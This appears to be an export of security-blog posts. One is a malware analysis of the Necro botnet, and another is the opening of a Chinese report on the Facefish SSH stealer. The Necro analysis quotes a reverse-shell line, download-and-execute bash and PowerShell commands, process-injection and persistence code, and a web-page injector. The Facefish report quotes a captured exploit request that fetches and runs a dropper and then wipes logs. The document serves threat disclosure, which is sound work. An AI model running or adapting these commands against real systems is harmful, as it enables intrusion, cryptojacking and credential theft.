for ubhohFYJDo in EqDdlmuEhx:
for mFVUeqoHs in [n for n in ubhohFYJDo.body if isinstance(n, ast.FunctionDef)]:
if mFVUeqoHs.name != '__init__' and mFVUeqoHs not in aPpaAZnhc:
aPpaAZnhc.append(mFVUeqoHs.name)
...
hkaxeZCocag=open(ULTiBINyz,"wb")
Summary
Since Necro was discovered, we have been continuously following and tracking this botnet, and associated it with the KekSec group behind it, and discovered more of their activities to attack Linux devices. We will continue to keep an eye on Necro, and will disclose any new findings.
IOC
* Tor C2
faw623ska5evipvarobhpzu4ntoru5v6ia5444krr6deerdnvpa3p7ad.onion
* Download URL
http://ntxkg0la99w.zapto.org/setup.py
http://kek.gay/benchmark.py
http://kek.gay/x86.dll
http://kek.gay/x64.dll
http://kek.gay/xmrig1.py
http://kek.gay/xmrig1
http://kek.gay/py.exe
* JS Miner/Bot Related
https://cloud-miner.de/*
https://ublock-referer.dev/*
* Tor Proxy
77.238.128.166:9050
192.248.190.123:8017
192.248.190.123:8009
213.251.238.186:9050
178.62.242.15:9107
88.198.82.11:9051
52.3.115.71:9050
83.217.28.46:9050
147.135.208.44:9095
188.166.34.137:9000
103.233.206.22:179
161.97.71.22:9000
54.161.239.214:9050
194.5.178.150:666
144.91.74.241:9080
134.209.230.13:8080
201.40.122.152:9050
206.81.27.29:8080
127.0.0.1:9050
Contact us
Readers are always welcomed to reach us on twitter, or email to netlabat 360dot cn
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## Overview\nBack in January, we blogged about a new botnet [Necro](__GHOST_URL__/not-really-new-pyhton-ddos-bot-n3cr0m0rph-necromorph/) and shortly after our report, it stopped spreading. On March 2nd, we noticed a new variant of Necro showing up on our BotMon tracking radar March 2nd, the BotMon system has detected that Necro has started spreading again, in addition to the previous TerraMaster RCE (CVE_2020_35665) and Zend RCE (CVE-2021-3007), two newer vulnerabilities Laravel RCE (CVE-2021-3129) and WebLogic RCE ( CVE-2020-14882) have been added, the following graphic shows the trend. "}],["image",{"src":"__GHOST_URL__/content/images/2021/03/exp_scan_trend_20k-2.png"}],["markdown",{"markdown":"We found that after a month of silence the new version of Necro has been significantly changed and further enhanced, the following is a summary:\n\n1. Start to attack Windws system and use Rootkit to hide itself on Windows platform.\n2. \"subdomain DGA + dynamic domain name\" are being used to generate C2 domains\n3. C2 communication support Tor, and a Tor-based DDoS attacks has been added.\n4. It propagates [Gafgyt_tor](__GHOST_URL__/tor-bld/) against specific Linux targets.\n5. It tampers with the web service page on the victim machine to perform browser mining, as well as stealing user data, turning the user's browser into DDos bot, and hash cracking.\n\nWe mentioned earlier this month that [Gafgyt_tor](__GHOST_URL__/tor-bld/) and Necro are released by same group, the so-called Keksec, the functions of this new Nerco is shown below"}],["image",{"src":"__GHOST_URL__/content/images/2021/03/necro_attack_flow-2.png"}],["markdown",{"markdown":"It is worth noting that we have seen two samples of the new version, one uses Tor for C2 and one generates C2 by using \"subdomain DGA + dynamic domain.\n\n## Sample Analysis\n\n### Scanning and propagation\n\n * Laravel RCE (CVE-2021-3129)\n\nThe exploit of this vulnerability uses a reverse shell to first download a bash script, as shown in the following figure.\n\n```\nZCgAMCXTa='php -r \\'$sock=fsockopen(\"'+self.YxqCRypO+'\",9999);$proc=proc_open(\"/bin/sh -i\", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);\\''\n ZCgAMCXTa=ZCgAMCXTa.replace('/', '\\/')\n```\n\nThe downloaded bash script functions as follows.\n\n1. Download and execute another script `malware.sh`.\n2. Download and execute [Gafgyt_tor](__GHOST_URL__/tor-bld/).\n3. Download and execute the mining program.\n\nHere is a bash script we captured.\n\n```\nwget http://kek.gay/malware.sh -O malware.sh\nsh malware.sh\nrm -f malware.sh\ncd /tmp || cd /home/$USER || cd /var/run || cd $(busybox find / -writable -readable -executable | head -n 1) || cd /mnt || cd / ;\nwget http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; busybox wget http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; curl http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; busybox curl http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; ftpget -v -u anonymous -p anonymous -P 21 45.145.185.83 IObeENwjx64 IObeENwjx64; busybox ftpget -v -u anonymous -p anonymous -P 21 45.145.185.83 IObeENwjx64 IObeENwjx64; chmod 777 IObeENwjx64; ./IObeENwjx64; rm -f IObeENwjx64\n...\nexport ARGS=\"-o 45.145.185.83:9050\"\nexport LINE=\"[ ! -f /tmp/.apid ] && echo > /tmp/.apid;./.1/sshd $ARGS >> /dev/null;./.2/sshd $ARGS >> /dev/null &\"\necho \"$LINE\" > ./.backup.sh\ncurl http://45.145.185.83/xmrig1 -O\nwget http://45.145.185.83/xmrig1 -O xmrig1\nmkdir ./.1;mv -f xmrig1 ./.1/sshd\n...\nchmod +x ./.backup.sh;\nsh ./.backup.sh &\nexit\n\n```\n\nOne of the malware.sh scripts is used to download and execute a new version of Necro, as shown below.\n\n```\n#pkill -9 python\nwget http://45.144.225.96/benchmark.py -O benchmark.py\npython benchmark.py || python2 benchmark.py || python2.7 benchmark.py || /usr/bin/python benchmark.py || /usr/bin/ python2 benchmark.py || /usr/bin/ python2.7 benchmark.py\n```\n\n* WebLogic RCE (CVE-2020-14882)\n\nThe vulnerability has two exploits, one for Linux and one for Windows.\n\nThe exploit for Linux uses bash, which downloads and executes both Necro (setup.py) and the mining program.\n\n```\ncd /tmp||cd $(find / -writable -readable -executable | head -n 1);php -r \"file_put_contents(\\\\\".setup\\\\\", file_get_contents(\\\\\"http://DOMAIN/setup\\\\\"));\";curl http://DOMAIN/setup -O;wget http://DOMAIN/setup -O .setup;chmod 777 .setup;./.setup;php -r \"file_put_contents(\\\\\".setup.py\\\\\", file_get_contents(\\\\\"http://DOMAIN/setup.py\\\\\"));\";curl http://DOMAIN/setup.py -O;wget http://DOMAIN/setup.py -O .setup.py;chmod 777 .setup.py;./.setup||python2 .setup.py||python .setup.py||./setup.py;DIR=`pwd`;ARGS=\"-o DOMAIN:9050\";LINE=\"[ ! -f $DIR/.pidfile ] && echo > $DIR/.pidfile;$DIR/.1/sshd $ARGS||$DIR/.2/sshd $ARGS >> /dev/null||./sshd $ARGS >> /dev/null &\";cd $DIR;echo \"$LINE\" > $DIR/.backup.sh;curl http://DOMAIN/xmrig1 -O||wget http://DOMAIN/xmrig1 -O xmrig1;mkdir $DIR/.1;mv -f xmrig1 $DIR/.1/sshd;chmod 777 $DIR/.1/sshd;curl http://DOMAIN/xmrig -O||wget http://DOMAIN/xmrig -O xmrig;mkdir $DIR/.2;mv -f xmrig $DIR/.2/sshd;chmod 777 $DIR/.2/sshd;chmod +x $DIR/.backup.sh;$DIR/.backup.sh\n```\n\nThe Windows exploit uses Powershell, which first downloads the packaged Pyhton 2.7 executable (py.exe), then downloads and executes Necro (setup.py).\n\n```\n\"@powershell -NoProfile -ExecutionPolicy unrestricted -Command \\\"(New-Object System.Net.WebClient).DownloadFile('http://DOMAIN/py.exe', 'python.exe'); (New-Object System.Net.WebClient).DownloadFile('http://DOMAIN/setup.py', 'setup.py');\\\" & .\\python.exe setup.py\n```\n\n### Attack Windows system\nFrom the above analysis, we can see that some WebLogic servers are running on Windows OS, and the KekSec group is obviously interested in these hosts as well. After the sample is started, if the underlying operating system is detected as Windows then py.exe will be copied to `USERPROFILE\\\\$6829.exe`, the code is shown in the following figure.\n\n```\nif os.name == 'nt':\n try:\n sys.argv[1]\n except IndexError:\n subprocess.Popen(GetCommandLine() + \" 1\", creationflags=8, close_fds=True)\n os.kill(os.getpid(),9)\n ehVfvaRFGMNE = CreateMutex(None, False, ehVfvaRFGMNE)\n if GetLastError() == ERROR_ALREADY_EXISTS:\n os.kill(os.getpid(),9)\n if os.path.abspath(sys.argv[0]).lower().endswith('.exe') and not os.path.abspath(sys.argv[0]).lower().endswith('$6829.exe'):\n try:\n shutil.copyfile(os.path.abspath(sys.argv[0]), os.getenv('USERPROFILE') + '\\\\$6829.exe')\n os.startfile(os.getenv('USERPROFILE') + '\\\\$6829.exe')\n os.kill(os.getpid(),9)\n except:\n pass\n else:\n\n```\n\nNecro will then download a file named `x86.dll` or `x64.dll` depending on the platform of choice:.\n\n```\n try:\n shutil.copyfile(sys.executable, os.getenv('USERPROFILE') + '\\\\$6829.exe')\n except:\n pass\n try:\n if platform.architecture()[0].replace(\"bit\",\"\") == \"32\":\n eZazkoBSoXlO=ahFxoRRhxXE(urllib2.urlopen('http://' + RaRdhjkniVY + '/x86.dll').read())\n else:\n eZazkoBSoXlO=ahFxoRRhxXE(urllib2.urlopen('http://' + RaRdhjkniVY + '/x64.dll').read())\n threading.Thread(target=oFHPQFcppV, args=(eZazkoBSoXlO,)).start()\n except:\n pass\n```\n\nThis dll file corresponds to an open source Rootkit project [r77-rootkit](https://github.com/bytecode77/r77-rootkit), which according to the project description can fully hide specific processes:.\n\n```\nr77 is a ring 3 Rootkit that hides following entities from all processes:\n\nFiles, directories, named pipes, scheduled tasks\nProcesses\nCPU usage\nRegistry keys & values\nTCP & UDP connections\nIt is compatible with Windows 7 and Windows 10 in both x64 and x86 editions.\n```\n\nNecro will then load the rootkit using a piece of shellcode using process injection from another open source project, [sRDI](https://github.com/monoxgas/sRDI/blob/master/Python/ShellcodeRDI.py), which uses the following shellcode.\n\n```\n # pack rootkit and shellcode\n ...\n gwObVdGd += struct.pack('b', ObianOdA - len(gwObVdGd) - 4)\n gwObVdGd += b'\\x00\\x00\\x00'\n gwObVdGd += b'\\x48\\x89\\xf4'\n gwObVdGd += b'\\x5e'\n gwObVdGd += b'\\xc3'\n if len(gwObVdGd) != ObianOdA:\n raise Exception('x64 bootstrap length: {} != bootstrapSize: {}'.format(len(gwObVdGd), ObianOdA))\n return gwObVdGd + dXQHuOmhsG + FVgoLCUS + fzWaJzyWo\n else:\n ...\n gwObVdGd += struct.pack('b', ObianOdA - len(gwObVdGd) - 4) # Skip over the remainder of instructions\n gwObVdGd += b'\\x00\\x00\\x00'\n gwObVdGd += b'\\x83\\xc4\\x14'\n gwObVdGd += b'\\xc9'\n gwObVdGd += b'\\xc3'\n if len(gwObVdGd) != ObianOdA:\n raise Exception('x86 bootstrap length: {} != bootstrapSize: {}'.format(len(gwObVdGd), ObianOdA))\n return gwObVdGd + dXQHuOmhsG + FVgoLCUS + fzWaJzyW\n \n # inject process\n FfyiMaCpdR = windll.kernel32.OpenProcess(0x1F0FFF, False, UjyuiVGyhiD)\n if not FfyiMaCpdR:\n cJaQhosf -= 1\n return\n llvOMLUBC = windll.kernel32.VirtualAllocEx(FfyiMaCpdR, 0, len(eZazkoBSoXlO), 0x00001000, 0x40)\n windll.kernel32.WriteProcessMemory(FfyiMaCpdR, llvOMLUBC, eZazkoBSoXlO, len(eZazkoBSoXlO), 0)\n if not windll.kernel32.CreateRemoteThread(FfyiMaCpdR, None, 0, llvOMLUBC, 0, 0, 0):\n```\n\nFinally, Necro will register the bootstrap item to `SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run`:\n\n```\n if os.name == 'nt':\n try:\n aReg = ConnectRegistry(None,HKEY_CURRENT_USER)\n aKey = OpenKey(aReg, r\"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\", 0, KEY_WRITE)\n SetValueEx(aKey,'System explore',0, REG_SZ, os.getenv('USERPROFILE') + '\\\\$6829.exe ' + os.path.r)\n windll.kernel32.SetFileAttributesW(os.getenv('USERPROFILE') + '\\\\$6829.exe', FILE_ATTRIBUTE_HIDDEN)\n except:\n pass\n```\n\n### Using Tor communication\n\nSince we have seen the KekSec group using Tor to hide the real C2 in [Gafgyt_tor](__GHOST_URL__/tor-bld/), we are not surprised that the new version of Necro supports Tor. What surprised us is that Necro actually integrates a Tor proxy-based DDoS attack method.\n\nThe Tor C2 communication code is as follows, and you can see the IPs and ports of multiple Tor proxies integrated in it.\n\n```\ntry:\n import socks\nexcept:\n f=open('socks.py', \"w\")\n f.write(urllib2.urlopen('https://raw.githubusercontent.com/mikedougherty/SocksiPy/master/socks.py').read())\n f.close()\n try:\n import socks\n except:\n exit(1)\n try:\n os.remove('socks.py')\n os.remove('socks.pyc')\n except:\n pass\nserver_list = ['192.248.190.123:8017', '192.248.190.123:8001', '88.198.82.11:9051', '52.3.115.71:9050', '185.117.154.207:443', '199.19.224.116:9050', '188.166.34.137:9000', '161.97.71.22:9000', '54.161.239.214:9050', '144.91.74.241:9080', '201.40.122.152:9050', '194.5.178.150:666', '83.217.28.46:9050', '8.210.163.246:60001', '35.192.111.58:9221', '127.0.0.1:9050']\n...\nself.onionserver='faw623ska5evipvarobhpzu4ntoru5v6ia5444krr6deerdnvpa3p7ad.onion'\nself.AJEwioE='#freakyonionz'\nself.Ajiowfe='FUCKWHITEHATZ'\n...\n```\n\nThe code of the newly added DDoS attack method `torflood` is as follows.\n\n```\n elif CjoRjhoMj[3]==\":\" + self.cmdprefix + 'torflood':\n try:\n import socks\n except:\n ...\n self.commSock.send('PRIVMSG %s :Unable to initilize socks module.\\n' % (MZqyBxdoS))\n for i in range(0, int(CjoRjhoMj[7])):\n threading.Thread(target=self.XoReERalPae,args=(CjoRjhoMj[4],CjoRjhoMj[5],int(CjoRjhoMj[6]),)).start()\n self.commSock.send('PRIVMSG %s :Started Tor HTTP flood on URL: %s with %s threads\\n' % (MZqyBxdoS,CjoRjhoMj[4],CjoRjhoMj[7]))\n\n```\n\n### Sub-domain DGA + dynamic domain name\n\nThe new version of Necro updated the DGA mechanism, using DGA to generate subdomains, and then with dynamic domain names to generate the final C2 domain name. From the code we can see the there are 30 dynamic domain name services providers.\n\n```\nzMuBHdcdB=0\nwhile zMuBHdcdB < 0xcc:\n zMuBHdcdB+=1\n random.seed(a=0x7774DEAD + zMuBHdcdB)\n RaRdhjkniVY=(''.join(random.choice('abcdefghijklmnopqoasadihcouvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for _ in range(random.randrange(10,19)))).lower()\n RaRdhjkniVY+=\".\"+random.choice(['ddns.net','ddnsking.com','3utilities.com','bounceme.net','freedynamicdns.net','freedynamicdns.org','gotdns.ch','hopto.org','myddns.me','myftp.biz','myftp.org','myvnc.com','onthewifi.com','redirectme.net','servebeer.com','serveblog.net','servecounterstrike.com','serveftp.com','servegame.com','servehalflife.com','servehttp.com','serveirc.com','serveminecraft.net','servemp3.com','servepics.com','servequake.com','sytes.net','viewdns.net','webhop.me','zapto.org'])\n print RaRdhjkniVY\n```\n\nNine domains are live now, and from the resolution records some domains uses IPv6 addresses.\n\n```\n2021-03-09 10:50:50 2021-03-12 16:10:45 ntxkg0la99w.zapto.org \n2021-03-12 08:19:49 2021-03-12 08:19:49 xxdqj6xbjpkzhk7k.servemp3.com \n2021-03-12 10:35:11 2021-03-12 10:35:11 qb7opowcawiagia.viewdns.net \n2021-03-12 08:46:28 2021-03-12 08:46:28 v5jke3mv89fjvxgd.serveftp.com \n2021-03-12 14:59:54 2021-03-12 14:59:54 nwpzhm8ziyhdzm.redirectme.net \n2021-03-12 03:12:07 2021-03-12 03:12:07 m1afommgsdowkmegc.redirectme.net \n2021-03-12 04:56:47 2021-03-12 04:56:47 ewmhkvdcoj3.servemp3.com \n2021-03-12 08:38:17 2021-03-12 08:38:17 tfcxvcg0lkc9vpx.myftp.org \n2021-03-12 06:48:19 2021-03-12 06:48:19 bdcauhuzk0d.viewdns.net \n```\n\n### JS code embedding \n\nThe main purpose of Necro's JS code embedding is to inject mining code in victim’s web pages.\n\n```\nelif CjoRjhoMj[3]==\":\" + self.cmdprefix + 'injectcount':\n self.commSock.send('PRIVMSG %s :I have injected into %s files total\\n' % (MZqyBxdoS, self.AkvElneS))\nelif CjoRjhoMj[3]==\":\" + self.cmdprefix + 'reinject':\n threading.Thread(target=self.OLkEqimhli).start()\n self.commSock.send('PRIVMSG %s :Re-injecting all html and js files\\n' % (MZqyBxdoS))\n```\n\nNecro will first traverse the `'*.js', '*.html', '*.htm', '*.php'` files in the specified directory of the infected device to find the target of injection.\n\n```\nif os.name != \"nt\":\n self.AkvElneS=0\n for fkEoBpoAxpZc in [ele for ele in os.listdir(\"/\") if ele not in ['proc', \"bin\", 'sbin', 'sbin', \"dev\", \"lib\", 'lib64', 'lost+found', \"sys\", 'boot', \"etc\"]]:\n for hfHpWZSupopK in ['*.js', '*.html', '*.htm', '*.php']:\n for oGADwYHVg in os.popen(\"find \\\"/\" + fkEoBpoAxpZc + \"\\\" -type f -name \\\"\" + hfHpWZSupopK + \"\\\"\").read().split(\"\\n\"):\n oGADwYHVg = oGADwYHVg.replace(\"\\r\", \"\").replace(\"\\n\", \"\")\n if 'node' not in oGADwYHVg and 'lib' not in oGADwYHVg and \"npm\" not in oGADwYHVg and oGADwYHVg != \"\":\n self.chLYewdc(oGADwYHVg)\n```\n\nOnce the target is found, Necro inserts a piece of code into the file.\n\n```\nMnPbIqasMz=open(oGADwYHVg,\"rb\")\n mkkzygnopRnB=MnPbIqasMz.read()\n MnPbIqasMz.close()\n fPSqTAZGgcep = kdYaxMPRdP(8)\n OGipqKBSmmTb = kdYaxMPRdP(8)\n hgOlaeQcQza = b64encode(\"//\" + self.injectCOxhTEJfB + '/campaign.js')\n fwEiSidxlgH='(function(' + OGipqKBSmmTb + \", \" + fPSqTAZGgcep + \") {\" + fPSqTAZGgcep + \" = \" + OGipqKBSmmTb + \".createElement('script');\" + fPSqTAZGgcep + \".type = 'text/javascript';\" + fPSqTAZGgcep + '.async = true;' + fPSqTAZGgcep + \".src = atob('\" + IoMfNcaVcJL + hgOlaeQcQza + IoMfNcaVcJL + \"'.replace(/\" + IoMfNcaVcJL + \"/gi, '')) + '?' + String(Math.random()).replace('0.','');\" + OGipqKBSmmTb + \".getElementsByTagName('body')[0].appendChild(\" + fPSqTAZGgcep + ');}(document));'\n ...\n else:\n if oGADwYHVg.endswith(\".js\"):\n if 'var ' in mkkzygnopRnB:\n mkkzygnopRnB=self.kRChazSiN(mkkzygnopRnB, 'var ', fwEiSidxlgH + 'var ', 1)\n self.AkvElneS+=1\n wQARXUaaF = True\n else:\n if '</body' in mkkzygnopRnB:\n mkkzygnopRnB=self.kRChazSiN(mkkzygnopRnB, '</body', '<script type=' + '\"' + 'text/javascript' + '\"' + \">\" + fwEiSidxlgH + '</script></body', 1)\n self.AkvElneS+=1\n wQARXUaaF = True\n if wQARXUaaF:\n MnPbIqasMz=open(oGADwYHVg, \"wb\")\n```\n\nThe infected page will have the following additional code.\n\n```\n(function(v2, v1) {\n v1 = v2.createElement('script');\n v1.type = 'text/javascript';\n v1.async = true;\n v1.src = atob('UUIDLy91YmxvY2stcmVmZXJlci5kZXYvY2FtcGFpZ24uanM=UUID'.replace(/UUID/gi, '')) + '?' + String(Math.random()).replace('0.', '');\n v2.getElementsByTagName('body')[0].appendChild(v1);\n}(document));\n```\n\nThis small piece of code will link to a script `hxxp[:]//ublock-referer.dev/campaign.js` . Through our WebInsight system we can see that 300+ websites have been infected by Necro in the last week.\n\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/03/webinsight.png"}],["markdown",{"markdown":"campaign.js is a highly obfuscated javascript code with a detection rate of 0 on VT.\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/03/campaign_js_vt_0detect-1.png"}],["markdown",{"markdown":"\nThe code uses two layers of obfuscation, it has three main functions.\n\n* Mining\n\nWhen an end user visits the victim’s website, the browser will load a mining js script: `hxxps[:]//cloud-miner.de/tkefrep/tkefrep.js?tkefrep=bs?nosaj=faster.xmr2`\n\n* User data stealing\n\nThe code monitors 4 events `unload/beforeunload/popstate/pagehide` and then reports the data through the following two interfaces\n\n| Interface | Functions |\n| :-------- | :--------------------- |\n| /l.php | upload keyboad records |\n| /f.php | upload form data |\n\n* Execute instruction\n\nWhen end users access victim’s website, the malicious js will be loaded, and `ublock-referer.dev/api.ph` will be called to perform various functions and send back some of the users’ data, a brief breakdown of the functions \n\n| Command | Functions | Interface |\n| :-------- | :----------------------------------------------------------- | :-----: |\n| cookie | To send back cookie | /c.php |\n| clipboard | To send back clipboard content | /cb.php |\n| view | Calling iframe to load any url | |\n| post | Send POST request to target | |\n| floodpost | DDos a target with periodical POST requests | |\n| load | Periodically adding Image objects and requesting links to specified resources to DDos a target | |\n| antiddos | By adding iframes periodically and adding random strings of numbers after the target link to DDos target | |\n| layer4 | Periodically sending POST requests of random content of specified length range to the target (DDoS) | |\n| jack | Load the specified content by creating iframe, can be used to fake or hijack webpage | |\n| eval | Execute arbitrary code via the eval method | |\n| md5/sha1 | Perform collision attacks against MD5 with the specified length range and code table, and report back when it succeeds | /h.php |\n\nThe corresponding C2 is still `hxxp[:]//ublock-referer.dev/`, switching between http/https according to the protocol of the compromised site\n\n```\nmaster = window[\"location\"][\"protocol\"] + \"//ublock-referer.dev\";\nAPIKey = \"callbackScript\";\n```\n\nThe URL `hxxps[:]//ublock-referer.dev` is also used to download the malicious FireFox plug-in `ublock_referer-1.0.0-an+fx.xpi`, the plug-in uses the above mentioned Javascript Bot [Cloud9](https://github.com/Antonio24/Cloud9/blob/master/campaign.js).\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/03/malware_firefox_addone-1.PNG"}],["markdown",{"markdown":"\n### Code obfuscation algorithm\n\nThis new version of Necro abandoned the original simple variable name replacement algorithm, and implemented a code morphing algorithm based on the abstract syntax tree [AST](https://docs.python.org/3/library/ast.html), which achieves full complete randomization of object names and higher code coverage of obfuscation, with the result that the new version of Necro sample VT detection rate of 0.\n\n```\ndDojPSRD=open(ULTiBINyz,\"rb\")\n ...\n p = ast.parse(CFiLMBZFoL)\n MiaFfQWZhb().visit(p)\n for caSZxzOdnbhJ in sorted(mdSaCUFhqM, key=len, reverse=True):\n ...\n EqDdlmuEhx = [node.name for node in ast.walk(p) if isinstance(node, ast.ClassDef)]\n joPNpGTbcn = sorted({node.id for node in ast.walk(p) if isinstance(node, ast.Name) and not isinstance(node.ctx, ast.Load)})\n for mFVUeqoHs in [n for n in p.body if isinstance(n, ast.FunctionDef)]:\n aPpaAZnhc.append(mFVUeqoHs.name)\n EqDdlmuEhx = [node for node in ast.walk(p) if isinstance(node, ast.ClassDef)]\n for ubhohFYJDo in EqDdlmuEhx:\n for mFVUeqoHs in [n for n in ubhohFYJDo.body if isinstance(n, ast.FunctionDef)]:\n if mFVUeqoHs.name != '__init__' and mFVUeqoHs not in aPpaAZnhc:\n aPpaAZnhc.append(mFVUeqoHs.name)\n ...\n hkaxeZCocag=open(ULTiBINyz,\"wb\")\n```\n\n## Summary\nSince Necro was discovered, we have been continuously following and tracking this botnet, and associated it with the KekSec group behind it, and discovered more of their activities to attack Linux devices. We will continue to keep an eye on Necro, and will disclose any new findings.\n\n## IOC\n\n* Tor C2\n\n```\nfaw623ska5evipvarobhpzu4ntoru5v6ia5444krr6deerdnvpa3p7ad.onion\n```\n\n* Download URL\n```\nhttp://ntxkg0la99w.zapto.org/setup.py\nhttp://kek.gay/benchmark.py\nhttp://kek.gay/x86.dll\nhttp://kek.gay/x64.dll\nhttp://kek.gay/xmrig1.py\nhttp://kek.gay/xmrig1\nhttp://kek.gay/py.exe\n```\n\n* JS Miner/Bot Related\n```\nhttps://cloud-miner.de/*\nhttps://ublock-referer.dev/*\n```\n\n* Tor Proxy\n```\n77.238.128.166:9050\n192.248.190.123:8017\n192.248.190.123:8009\n213.251.238.186:9050\n178.62.242.15:9107\n88.198.82.11:9051\n52.3.115.71:9050\n83.217.28.46:9050\n147.135.208.44:9095\n188.166.34.137:9000\n103.233.206.22:179\n161.97.71.22:9000\n54.161.239.214:9050\n194.5.178.150:666\n144.91.74.241:9080\n134.209.230.13:8080\n201.40.122.152:9050\n206.81.27.29:8080\n127.0.0.1:9050\n```\n\n\n## Contact us\nReaders are always welcomed to reach us on twitter, or email to netlabat 360dot cn"}]],"markups":[],"sections":[[10,0],[10,1],[10,2],[10,3],[10,4],[10,5],[10,6],[10,7],[10,8],[10,9],[10,10],[1,"p",[]]],"ghostVersion":"3.0"} | 6051854dd0d9b7000712cab7 |
post | null | 2021-03-23T09:21:56.000Z | 63873b9a8b1c1e0007f52fb2 | ssh_stealer_facefish_cn | 0 | 2021-07-08T02:30:07.000Z | public | published | null | 2021-05-28T03:53:15.000Z | 窃密者Facefish分析报告 | <!--kg-card-begin: markdown--><h1 id="">背景介绍</h1>
<p>2021年2月，我们捕获了一个通过CWP的Nday漏洞传播的未知ELF样本，简单分析后发现这是一个新botnet家族的样本。它针对Linux x64系统，配置灵活，并且使用了一个基于Diffie–Hellman和Blowfish的私有加密协议。但因为通过合作机构（在中国区有较好网络通信观察视野）验证后发现对应的C2通信命中为0，所以未再深入分析。</p>
<p>2021年4月26号，Juniper发布了关于此样本的<a href="https://blogs.juniper.net/en-us/threat-research/linux-servers-hijacked-to-implant-ssh-backdoor"><strong>分析报告</strong></a>，我们注意到报告中忽略了一些重要的技术细节，所以决定将漏掉的细节分享出来。</p>
<p>该家族的入口ELF样本<code>MD5=38fb322cc6d09a6ab85784ede56bc5a7</code>是一个Dropper，它会释放出一个Rootkit。因为Juniper并未为样本定义家族名，鉴于Dropper在不同的时间点释放的Rootkit有不同的MD5值，犹如川剧中的变脸，并且该家族使用了Blowfish加密算法，我们将它命名为<code>Facefish</code>。</p>
<h1 id="facefish">Facefish概览</h1>
<p>Facefish由Dropper和Rootkit 2部分组成，主要功能由Rootkit模块决定。Rootkit工作在Ring3层，利用<code>LD_PRELOAD</code>特性加载，通过Hook ssh/sshd程序的相关函数以窃取用户的登录凭证，同时它还支持一些后门功能。因此可以将Facefish定性为，一款针对Linux平台的窃密后门。</p>
<p>Facefish的主要功能有</p>
<ul>
<li>上报设备信息</li>
<li>窃取用户凭证</li>
<li>反弹Shell</li>
<li>执行任意命令</li>
</ul>
<p>基本流程如下图所示：</p>
<p><img src="__GHOST_URL__/content/images/2021/05/fish_brief.png" alt="fish_brief" loading="lazy"></p>
<h1 id="">传播方式</h1>
<p>在野利用的漏洞如下所示</p>
<pre><code>POST /admin/index.php?scripts=.%00./.%00./client/include/inc_index&service_start=;cd%20/usr/bin;%20/usr/bin/wget%20http://176.111.174.26/76523y4gjhasd6/sshins;%20chmod%200777%20/usr/bin/sshins;%20ls%20-al%20/usr/bin/sshins;%20./sshins;%20cat%20/etc/ld.so.preload;%20rm%20-rf%20/usr/bin/sshins;%20sed%20-i%20'/sshins/d'%20/usr/local/cwpsrv/logs/access_log;%20history%20-c;&owner=root&override=1&api_key=%00%00%C2%90 HTTP/1.1
Host: xxx.xx.xx.xx:2031
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 0
</code></pre>
<p>将与Facefish相关部分转码后，得到以下执行命令序列，可以看出主要功能为下载执行第一阶段的payload，然后清理痕迹。</p>
<pre><code>cd /usr/bin;
/usr/bin/wget http://176.111.174.26/76523y4gjhasd6/sshins;
chmod 0777 /usr/bin/sshins;
ls -al /usr/bin/sshins; ./sshins;
cat /etc/ld.so.preload;
rm -rf /usr/bin/sshins;
sed -i '/sshins/d' /usr/local/cwpsrv/logs/access_log;
history -c
</code></pre>
<h1 id="">逆向分析</h1>
<p>简单来说，Facefish的感染程序可以分成3个阶段，</p>
<p>Stage 0: 预备阶段，通过漏洞传播，在设备上植入Dropper</p>
<p>Stage 1: 释放阶段，Dropper释放出Rootkit</p>
<p>Stage 2:业务阶段，Rootkit 收集回传敏感信息，等待执行C2下发的指令</p>
<p>下文将从Stage 1到Stage 2着手，分析Facefish的各个阶段的技术细节。</p>
<h2 id="stage1dropper">Stage 1:Dropper分析</h2>
<p>Dropper的基体信息如下所示，主要功能为检测运行环境，解密存有C2信息的Config， 配置Rootkit，最后释放并启动Rootkit。</p>
<blockquote>
<p>MD5:38fb322cc6d09a6ab85784ede56bc5a7</p>
<p>ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped</p>
<p>Packer: UPX</p>
</blockquote>
<p>另处值得一提的是，Drooper在二进制层面，采用了一些<code>tricks</code>来对抗杀软的查杀。</p>
<h2 id="trick1upxwithoverlay">Trick 1:upx with overlay</h2>
<p>如下图所示，将加密的Config数据作为overlay，填充到upx加壳后的样本尾部。</p>
<img src="__GHOST_URL__/content/images/2021/03/fish_upxoverlay.png" width="860px" />
<p>这种做法的目的有2个:</p>
<ol>
<li>对抗upx脱壳</li>
<li>Config数据与样本解耦，可以通过工具更新Config，无需再编译源码，方便在黑市流通</li>
</ol>
<h2 id="trick2elfwithoutsections">Trick 2:elf without sections</h2>
<p>如下图所示，脱壳后样本中的section信息被抹除了</p>
<img src="__GHOST_URL__/content/images/2021/03/fish_section.png" width="860px" />
<p>这种做法的目的有2个:</p>
<ol>
<li>某些依赖section的信息进行分析的工具无法正常工作，抹除section在一定程度上加大了分析难度</li>
<li>某些杀毒引擎依赖section信息生成特征的的检测区，抹除section在一定程度上实现了免杀</li>
</ol>
<h2 id="dropper">Dropper主要功能</h2>
<p>Dropper运行时会输出下图中的信息：</p>
<p><img src="__GHOST_URL__/content/images/2021/03/fish_proc.png" alt="fish_blow" loading="lazy"></p>
<p>根据这个信息，我们将Dropper的功能分成了以下4个阶段</p>
<ol>
<li>检测运行环境</li>
<li>解密Config</li>
<li>配置Rootkit</li>
<li>释放并启动Rootkit</li>
</ol>
<h3 id="0x1">0x1:检测运行环境</h3>
<p>首先读取<code>/bin/cat</code>的前16个字节，通过判断第5个字节(EI_CLASS)的值来判断当前系统的位数,目前Facefish只支持x64系统。然后检查自身否在root权限下运行，最后尝试从自身文件尾部 读入Config信息。其中任一环节失败，Facefish都将放弃感染，直接退出。</p>
